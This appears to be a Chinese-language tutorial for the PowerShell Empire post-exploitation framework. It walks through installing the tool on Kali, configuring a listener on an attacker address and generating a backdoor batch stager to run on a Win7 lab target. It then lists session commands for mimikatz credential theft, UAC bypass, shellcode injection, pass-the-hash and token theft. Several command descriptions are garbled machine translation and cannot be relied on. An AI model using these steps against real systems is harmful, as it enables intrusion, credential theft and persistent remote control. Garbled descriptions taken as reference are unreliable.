简介

PowerShsell Empire中文简称 “帝国” ,针对windows系统平台而打造的一款渗透工具。在PowerShell方面,帝国实现了无需powershell.exe即可运行PowerShell代理的功能,可快速部署的开发后的模块从按键记录到Mimikatz,可逃避网络检测的能力,适应性强的通信,都包裹在易用性为重点的框架,可部署在除centos以外的linux平台上

目录

项目地址:
https://github.com/EmpireProject/Empire/archive/refs/heads/master.zip
确保pip与python环境为2.7

下载项目并解压到kali
根据提示安装好依赖

依赖安装参照

apt-get update
pip2 install pyopenssl
pip2 install iptools
pip2 install netifaces
pip2 install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade setuptools
pip2 install pydispatch 
pip2 install PyDispatcher

↑如果不成功,访问https://pypi.org/project/PyDispatcher/#files下载PyDispatcher .tar.gz 或 .zip 文件,解压并运行python2 setup.py install

pip2 install zlib_wrapper
apt-get install swig
apt-get install build-essential libssl-dev swig
apt-get install python2-dev
pip2 install M2Crypto==0.38.0

↑如果安装不成功那么运行pip2 uninstall M2Crypto,访问https://pypi.org/project/M2Crypto/0.38.0/#files下载M2Crypto-0.38.0.tar.gz文件,解压并运行python2 setup.py install

pip2 install macholib
pip2 install xlutils
pip2 install dropbox
pip2 install pyminifier
pip2 install flask
pip2 install pefile
pip2 install importlib
pip2 install pycrypto

运行Empire

编辑empire安装数据库的脚本
在代码c = conn.cursor()上方插入conn.text_factory = str
setup/install.sh 安装
./empire 运行

kali内置使用python3运行的empire模块,使用方式:
使用 powershell-empire server 或进入目录 python3 empire.py server 命令开启服务端
使用 powershell-empire client 或进入目录 python3 empire.py client 命令开启客户端

kali中内置的empire模块与empire的部分常规功能不相符合,实际操作建议自行安装

Empire的使用

进入模块后须先设置监听器
uselistener http 配置http监听器
set Host 192.168.31.13 设置本地地址
set Port 1336 设置本地端口
set Name new1 设置监听器名字
execute 保存监听器
listeners 查看监听器
使用后门生成模块
usestager windows_launcher_bat 设置windows后门
生成后门
set Listener new1 设置监听器
execute 执行生成
根据提示的生成路径找到后门文件
放到win7靶机上执行
使用 agents 命令来查看已创建的会话
rename 4YBERLTH win7 更改会话名称
agents 查看已创建的会话
interact win7 进入到会话

Empire常用命令

在得到会话窗口后,empire还提供了很多功能,例如权限维持,权限提升,权限移交等,下面是empire的一些常用命令

agents 						跳跃的代理人的菜单
back 						返回菜单
bypassuac 					运行bypassuac,开创一个新的高完整性为监听代理。产卵<监听器>
clear 						清除代理任务。
creds 						从数据库显示/返回凭证。
download 					任务代理下载文件
exit 						任务代理退出
help 						显示菜单或语法for the help特定的命令。
info 						显示有关此代理的信息
injectshellcode listener shellcode inject	进入偏远的过程。前listener米。injectshellcode<><>_ PID
jobs 						返回工作或杀死一个正在运行的工作
kill 						任务杀死特定进程名称或ID.的代理
killdate 					获取或设置一个代理的killdate(01 / 01 / 2016)。
list 						列出所有活动代理(或侦听器)
listeners 					跳转到监听器菜单
lostlimit 					任务代理更改丢失代理检测的限制
main 						回到主菜单
mimikatz 					运行在客户端- mimikatz Invoke
psinject inject					发射器向远程进程。例如,psinject > <名> < PID
pth 						执行一个credid PTH通过Mimikatz。
rename 						重命名代理
revtoself 					使用凭证/令牌还原令牌权限。
sc 						需要截图,默认是PNG。给一个比率意味着使用JPEG。例SC [ 1 ]
scriptcmd 					执行在目前进口PowerShell脚本函数。
scriptimport 					PowerShell脚本保存在存储器中的代理。
searchmodule 					模块搜索帝国名称/描述。
shell 						使用shell命令的代理任务。
sleep 						任务代理睡眠间隔[抖动]
spawn 						对于给定的听众产生一个新的帝国代理名称。产卵<监听器>
steal_token 					使用凭据/代币冒充一个令牌的进程ID。
sysinfo 					任务获取系统信息的代理
updateprofile 					更新代理连接配置文件
upload 						任务代理上传文件
usemodule 					使用一个帝国的PowerShell模块
workinghours 					获取或设置一个代理的工作时间